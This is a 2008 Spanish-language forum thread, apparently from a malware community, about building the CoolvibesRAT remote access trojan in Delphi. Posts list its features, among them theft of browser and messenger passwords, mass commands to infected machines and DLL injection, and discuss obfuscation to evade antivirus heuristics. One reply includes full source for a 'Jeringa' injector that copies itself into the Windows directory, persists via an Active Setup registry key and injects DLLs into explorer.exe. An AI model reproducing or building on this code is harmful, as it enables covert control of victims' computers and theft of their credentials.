• Desarrollo CoolvibesRAT

  • Subforo donde se hara paso a paso un troyano en delphi.
Subforo donde se hara paso a paso un troyano en delphi.
 #30747  por status.0
 01 Nov 2008, 05:26
No hace falta recordarles que es una version BETA, esto quiere decir que no sirve tan bien como pareciera pues no se le ha hecho una prueba minuciosa y algunas funciones hay que repararlas.

Video: Coolvibes 0.6 --- Preview RAPIDA de algunas funciones --
[ Debe registrarse para ver este enlace ]

Descargas:
CLIENTE: [ Debe registrarse para ver este enlace ]
SERVIDOR: [ Debe registrarse para ver este enlace ]
Pass: indetectables.net

FUNCIONES AÑADIDAS
[+] Se crea la opcion 'Actualizar' para renovar los datos de la IP del cliente por FTP o por NO-IP.
[+] Se creo la opción de capturar contraseñas de Firefox 1,2,3, MSN Messenger/Live y Iexplorer 7 y los autocomplete forms.
[+] Se añadio la opcion de interactuar con el Messenger (obtener lista de contactos, obtener estado, cambiar de estado)
[+] Se agregó la funcionalidad de envio de ordenes (broadcast) a todas las maquinas conectadas. (Abrir web visible o oculta, Descargar archivo, Reiniciar, Apagar, Desinstalar, renombrar y ping)
[+] Se añadio la opcion de extraer información sobre la configuración de red del usuario y sus recursos compartidos en red.
[+] Añadido al UnitWindows la capacidad de mostrar las ventanas ocultas del sistema, tambien de mostrar el estado de cada ventana (Minimizada, Maximizada, normal). Mostrar el PID no lo ubique pues ya existe la funcion 'Ir al proceso'.
[+] Añadido al UnitProcess la capacidad de mostrar la prioridad del proceso en ejecucion, Tambien la capacidad de cambiar la prioridad del proceso.
[+] Se implemento otro metodo para cargar el server .DLL adicional al ya existente. Ahora se cuenta con "carga DLL" (metodo no invasivo), o "inyección DLL" (metodo invasivo a otro proceso). El inyector final se puede editar con el builder del cliente, más aun falta por probar/reparar algunas funciones que no jalan bien.

COSAS PENDIENTES
[-] Reparar algunas funciones como el administrador del registro de windows (REGEDIT) y el administrador de servicios que resultaron con problemas en la modificación del server.
[-] Poner a funcionar la previsualización de las imagenes en el file transfer, si es posible hacerlas en la misma tabla como thumbnails. Actualmente el codigo solo sirve para bajar una imagen reducida (thumbnail) del JPG original, más no la muestra.
enviado 31/10/2008 21:46:
[-] Crear server con posibilidad de leer IP:PUERTO desde un archivo en una URL que le digamos (ej: [ Debe registrarse para ver este enlace ]..... Como ya esta creado el FTP updater seria cuestion de agregarle esa funcionalidad al server para hacer funcionar este tipo de formato para la conexion diferente a NO-IP.

Nuevos componentes necesarios para compilar el cliente
* [ Debe registrarse para ver este enlace ]
*[ Debe registrarse para ver este enlace ]
*[ Debe registrarse para ver este enlace ]
*[ Debe registrarse para ver este enlace ]
(y obviamente, hay que tener indy habilitado)
Estos son los errores más comunes al compilarlo, y los archivos clasificados segun su componente.
Imagen

El server no necesita ningun componente adicional diferente a los ya trabajados con anterioridad. Hay nuevas units. Al ser una version BETA esto sugiere que aun hay errores por corregir, espero ayuden en la tarea de mejorar nuestra herramienta, que es de todos y para todos.
No tiene los permisos requeridos para ver los archivos adjuntos a este mensaje.
 #30749  por b#
 01 Nov 2008, 05:38
Buen trabajo status.0.

Edit: Estube probando sus opciones y al hacer click sobre Obtener Contraseñas, al servidor le sale este mensaje:

Imagen

Imagen

Uso Windows XP ServicePack 2, saludos.
Última edición por b# el 01 Nov 2008, 06:54, editado 1 vez en total.
 #30750  por Rhonda
 01 Nov 2008, 06:24
empezando a descargar para probarlo...

excelente trabajo status.0

 #30751  por DSR!
 01 Nov 2008, 07:09
probando!


cuando se cierra inesperadamente el server en la maquina remota nos queda el centro de control abierto y no se puede cerrar a menos que cerremos el cliente y lo volvamos a abrir.

tenemos que usar para la inyeccion los codigos de la .5 no?
Código: Seleccionar todo
program Jeringa;

uses
  ShellApi,
  Windows,
  minireg,
  TlHelp32;


{$R MyRes.res}


end.
parece que se borro un pedacito :P
lo voy a probar un ratito mas antes de irme a dormir, con respecto a los metodos que usastes para extraer los pass estan en otra dll o como es? esto no contendria rutinas demaciado llamativas a las heuristicas?


seguire jugando un poco mas

ah y tengo una pequeña duda, el cliente cambio de .4 a .5????
 #30779  por status.0
 01 Nov 2008, 14:31
b#
El error que te salio al capturar las contraseñas lo genera el extractor para IE7, si IE7 no esta presente o el equipo no es Windows Vista por lo general sale ese error. Se puede deshabilitar la extracción de IE7 en el source, en UnitPass.pas en el procedimiento capturar(). Deshabilitandolo en XP y sin IE7 instalado lo probe y funciona correctamente mostrando solo las pass de firefox y msn.
Imagen

shimpei
El error de desconexion aun no me ha pasado, mirare más de cerca haber que pueda ser, el cliente comenzo siendo NSRAT 0.4, paso a ser .5 para añadirle las funciones de click derecho que no tenia y luego muto a una forma extraña, la que es ahora.
Los metodos para extraer las pass estan todos en una unit (UnitPass), se podria recurrir en caso que comienzen a detectarlo a ofuzcar esa unit, o cuando tengamos sistema de plugins a hacerlo de otra manera.... no se que tanto le abone a la heuristica, pero como ya vemos en las correcciones de b#, no son del todo compatibles y hay que mejorarlos. Con respecto a la inyección no compile ningun inyector, solo deje ambas carpetas de los mismos para futuro desarrollo, creo que entiendo mejor la carga simple DLL, de la inyeccion podria encargarse Unknown que es más experimentado. No lo tomen como version oficial, es más un borrador para que los que saben hagan las correcciones.

Si para final de cada mes podemos tener una version cada vez mejor me pareceria excelente, esperen las correcciones a final de mes, no le pienso trabajar tan seguido, tengo esposa e hijos
 #30781  por Dominicano
 01 Nov 2008, 14:55
se agradece el tabajo que has hecho man, esta muy bien, bajando...

saludos...
 #30783  por shark0
 01 Nov 2008, 14:57
a probar!!!!!!!!!!

Saludos!
 #30803  por Unknown
 01 Nov 2008, 15:57
Hola:

Server = 550K!!!!! precisamente 0.5 se basó en reducir el tamaño

Por otro lado no entiendo por qué activaste nuevamente las units: UnitWebcam y UnitCapScreen que usan la libreria jpeg (bien pesado) si para ello yo creé la unit: CamScreen que agrupa todas las funciones para captura de Cam y de Screen llamando al dll Jpg_plugin.dll que agrupa todas las funcionalidades relacionadas con imágenes. Esto ya estaba funcionando...

Esto fue algo que vi por encima en el código, ya que no tengo Delphi en esta máquina. Cuando lo tenga podré ponerme a probar el funcionamiento de la nueva versión.


Saludos,
Unknown.
 #30809  por unnamed020
 01 Nov 2008, 16:09
muy bueno status.0!!

bajando...

Saludos!
 #30939  por DSR!
 02 Nov 2008, 00:05
el problema por lo que vi es en la inyeccion, por momentos la dll monitor se carga una y otra vez en memoria haciendo que el explorer.exe se coma vivo el micro.
el server sin inyeccion es muy estable, no se porque falla al usar inyeccion. habria que ver bien el codigo.
 #30948  por Unknown
 02 Nov 2008, 00:46
shimpei escribió:el problema por lo que vi es en la inyeccion, por momentos la dll monitor se carga una y otra vez en memoria haciendo que el explorer.exe se coma vivo el micro.
el server sin inyeccion es muy estable, no se porque falla al usar inyeccion. habria que ver bien el codigo.
0.5 con inyección es estable, este no lo he probado por falta de delphi, no tendre hasta el lunes... Habra que ver el nuevo server y verificar si tiene alguna unit incompatible con DllInjection.

Saludos,
Unknow.
 #30950  por DSR!
 02 Nov 2008, 00:53
estoy usando mas que nada el 0.5
con ambos me pasa lo mismo, me dejan el explorer.exe saturado.

la 0.6 no tiene el codigo del jeringa entero, aca lo pongo
Código: Seleccionar todo
program Jeringa;

uses
  ShellApi,
  Windows,
  minireg,
  lomlib,
  TlHelp32,
  afxCodeHook;

{$R MyRes.res}

function WinDir: string;
var
  intLen:    integer;
  strBuffer: string;
begin
  SetLength(strBuffer, 1000);
  intLen := GetWindowsDirectory(PChar(strBuffer), 1000);
  Result := (Copy(strBuffer, 1, intLen));
  if Result[Length(Result) - 1] <> '\' then
    Result := Result + '\';
end;

  function GetProcessID(sProcName: string): integer;
  var
    hProcSnap: THandle;
    pe32:      TProcessEntry32;
  begin
    Result    := -1;
    hProcSnap := CreateToolHelp32SnapShot(TH32CS_SNAPPROCESS, 0);
    if hProcSnap = INVALID_HANDLE_VALUE then
      Exit;
    pe32.dwSize := SizeOf(ProcessEntry32);
    if Process32First(hProcSnap, pe32) = True then
      while Process32Next(hProcSnap, pe32) = True do
        if pos(sProcName, LowerCase(pe32.szExeFile)) > 0 then
          Result := pe32.th32ProcessID;
  end;


  procedure Inject(ResName: string; pid: dword);
  var
    ResourceLocation: HRSRC;
    ResourceSize:     longword;
    ResourceHandle:   THandle;
    ResourcePointer:  Pointer;
    //pid: dword;
    handleWindow:     integer;
  begin

    //ResourceLocation := FindResource(HInstance, pchar('mi_dll'), RT_RCDATA);
    ResourceLocation := FindResource(SysInit.HInstance, PChar(ResName), 'DLL');
    //ShowMessage('es: '+IntTOStr(ResourceLocation));
    if ResourceLocation <> 0 then
    begin
      ResourceSize := SizeofResource(SysInit.HInstance, ResourceLocation);
      if ResourceSize <> 0 then
      begin
        ResourceHandle := LoadResource(SysInit.HInstance, ResourceLocation);
        if ResourceHandle <> 0 then
        begin
          ResourcePointer := LockResource(ResourceHandle);
          HandleWindow    := OpenProcess(PROCESS_ALL_ACCESS, False, pid);
          InjectLibrary(HandleWindow, ResourcePointer);

        end;
      end;
    end;
  end;


var
  pid: dword;
begin
  if ParamCount = 0 then
  begin
    copyfile(PAnsiChar(ParamStr(0)), PAnsiChar(windir+'Jeringa.exe'), FALSE);
    ShellExecute(0, 'open', PAnsiChar(windir+'Jeringa.exe'),'monitor', PansiChar(extractFilePath(Paramstr(0))), SW_SHOWNORMAL);
    RegSetString(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Active Setup\Installed Components\{D3B930A4-76AC-11DD-82E7-913F56D89593}\stubpath', windir+'Jeringa.exe monitor');
  end
  else if ParamCount = 1 then
  begin
    PID := GetProcessID('explorer.exe');
//    while (PID = -1) do
//      PID := GetProcessID('explorer.exe');
    Inject('monitor', pid);
  end
  else if ParamCount = 2 then
  begin
    //ShowMessage('Debo Inyectar en: '+ParamStr(2));
    Inject('rat', StrToInt(ParamStr(2)));
  end;

end.

 #31636  por new4
 06 Nov 2008, 19:21
thank!! Continue their efforts.
 #31748  por iMalcolM
 07 Nov 2008, 16:19
Bueno quiero meterme un poco con ustedes con este tema... lo pruebo y veo que puedo aportar.

Ô_o
 #34889  por enrico988
 26 Nov 2008, 20:02
Hi guys, i'm Enrico.
I would know with which compiler i have to compile, cause with my Delphi2007 it gives me some socket errors in compilation time.
(I downloaded those packs in this post).

Thanks in advance,
cheers :D

Enrico